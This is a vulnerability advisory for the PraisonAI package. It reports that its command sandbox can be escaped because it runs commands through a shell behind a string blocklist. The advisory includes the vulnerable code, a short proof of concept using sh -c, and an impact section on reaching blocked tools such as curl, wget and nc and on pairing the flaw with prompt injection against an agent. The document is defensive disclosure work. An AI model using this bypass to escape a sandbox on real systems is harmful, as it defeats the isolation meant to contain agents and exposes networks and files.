PraisonAI Has Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox
Summary
SubprocessSandbox in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls subprocess.run() with shell=True and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include sh or bash as standalone executables, allowing trivial sandbox escape in STRICT mode via sh -c '<command>'.
Details
sandbox_executor.py:179 (source) -> sandbox_executor.py:326 (sink)
# source -- string-pattern blocklist, sh and bash not in blocked_commands
cmd_name = Path(parts[0]).name
if cmd_name in self.policy.blocked_commands: # sh, bash not blocked
raise SecurityError(...)
dangerous_patterns = [
("| sh", ...), # requires space -- "id|bash" evades this
("| bash", ...), # requires space
]
# sink -- shell=True spawns /bin/sh regardless of sandbox mode
result = subprocess.run(
command,
shell=True,
...
)
PoC
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode
policy = SandboxPolicy.for_mode(SandboxMode.STRICT)
sandbox = SubprocessSandbox(policy=policy)
result = sandbox.execute("sh -c 'id'")
print(result.stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
Impact
Users who deploy with --sandbox strict have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via sh -c '<blocked_command>'. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services.
Suggested Fix
import shlex
result = subprocess.run(
shlex.split(command),
shell=False,
cwd=cwd,
env=env,
capture_output=capture_output,
text=True,
timeout=timeout
)
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | praisonai | < 4.5.97 | 4.5.97 |
References
- CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H- Weakness (CWE)
CWE-78- Platform
- Python (PyPI)
- Package
praisonai- Disclosed
- 01.04.2026
- Updated
- 11.10.2026 14:18
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-2921 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-r4f2-3m54-pp7q - CC BY 4.0
Vulnerability history: praisonai
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 104
- First → latest
- 04.2026 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 27
- High 60
- Medium 17
Disclosures per year
- 2026: 104
-
PraisonAI Has Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox this entry
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